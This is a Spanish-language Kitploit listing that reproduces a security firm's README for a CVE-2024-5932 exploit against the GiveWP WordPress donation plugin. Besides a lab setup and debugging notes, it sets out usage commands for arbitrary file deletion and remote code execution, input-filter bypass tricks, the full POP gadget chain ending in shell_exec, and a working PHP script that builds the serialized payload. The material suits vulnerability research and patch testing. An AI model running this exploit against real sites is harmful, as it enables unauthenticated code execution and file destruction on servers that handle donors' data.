Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-5932 — Exploit de inyección de objetos PHP de GiveWP | Kitploit
Herramientas/GitHubGitHub/eqstlab/cve-2024-5932
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubeqstlab/cve-2024-5932

CVE-2024-5932

Exploit de inyección de objetos PHP de GiveWP

Ver Repositorio
7810hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Esta publicación es un artículo de investigación publicado por EQSTLab.

❗❗ IMPORTANTE ❗❗

Actualmente existen repositorios falsos de PoC en GitHub que ejecutan xmrig. Consulte el siguiente enlace para obtener más información:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 Eliminación arbitraria de archivos y PoC de RCE ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Cronología

25 de agosto : PoC de eliminación de archivos CVE-2024-5932 subido

26 de agosto : Hemos ejecutado con éxito comandos arbitrarios usando CVE-2024-5932, pero estamos considerando la divulgación debido al impacto.

27 de agosto : Encontramos un análisis detallado del PoC en una publicación de Julien Ahrens de RCE Security y decidimos publicar nuestro PoC de RCE. Subimos un PoC de RCE adicional como CVE-2024-5932-rce.py.

Descripción

CVE-2024-5932 : Vulnerabilidad de inyección de objetos PHP en GiveWP. Descripción: El plugin GiveWP Donation Plugin and Fundraising Platform para WordPress es vulnerable a la inyección de objetos PHP en todas las versiones hasta, e incluyendo, 3.14.1 a través de la deserialización de entrada no confiable del parámetro 'give_title'. Esto hace posible que atacantes no autenticados inyecten un objeto PHP. La presencia adicional de una cadena POP permite a los atacantes ejecutar código de forma remota y eliminar archivos arbitrarios.

Cómo usar

Clonar con Git

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Instalar paquetes

root@kitploit:~
pip install -r requirements.txt

Comando

root@kitploit:~
# Eliminación de archivos arbitrarios
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Ejecución remota de código
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

Ejemplo

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Salida

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Resultado

image 2

Entorno vulnerable

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Luego descargue el plugin vulnerable GiveWP:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Descomprima el archivo zip del plugin GiveWP y copie todo el archivo al directorio “/var/www/html/wp-content/plugins”.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Active el plugin GiveWP

image

5. Añada una nueva entrada con el plugin GiveWP y copie el enlace de la entrada

image

6. Verifique el enlace vulnerable

image

(Opcional) Configurar el archivo objetivo en el entorno docker

Primero, acceda al shell de WordPress con el siguiente comando:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

Si el archivo es propiedad de root, es posible que no se elimine debido a los permisos. Por lo tanto, debe cambiar la propiedad del archivo de prueba con el siguiente comando:

root@kitploit:~
touch test && chown www-data test

image

Depuración mediante PHPSTORM

Puede depurar su GiveWP usando PHPSTORM.

1. Descargue xdebug en su WordPress (Docker):

root@kitploit:~
pecl install xdebug

2. Luego configure el archivo php.ini de WordPress de la siguiente manera (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..Y luego puede depurar su WordPress.

3. Configure PHPSTORM de la siguiente manera (Local):

image image

4. Ejemplo de PHPSTORM (por ejemplo, eliminación arbitraria de archivos TCPDF)

image

Análisis

Punto vulnerable (includes/payments/class-give-payment.php)

En este punto, la función get_meta() deserializa el valor previamente guardado de "give_title".

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Técnica de omisión

strip_tags: reemplazar nullbytes -> usando \0

stripslashes_deep: reemplazar barras invertidas -> usando \\\\

Encadenamiento POP para RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Return command string)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Escenario de ataque

RCE mediante cadena POP

La cadena POP permite la ejecución remota de comandos. image

Eliminación arbitraria de archivos

Usando TCPDF, se puede explotar la eliminación arbitraria de archivos.

Descargo de responsabilidad

Este repositorio no está destinado a ser un exploit de inyección de objetos para CVE-2024-5932. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y quizás probar sus propias aplicaciones.

EQST Insight

Publicamos análisis de CVE y malware una vez al mes. Si está interesado, siga los enlaces a continuación para consultar nuestras publicaciones. https://www.skshieldus.com/eng/business/insight.do

Referencia

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

Descargar herramienta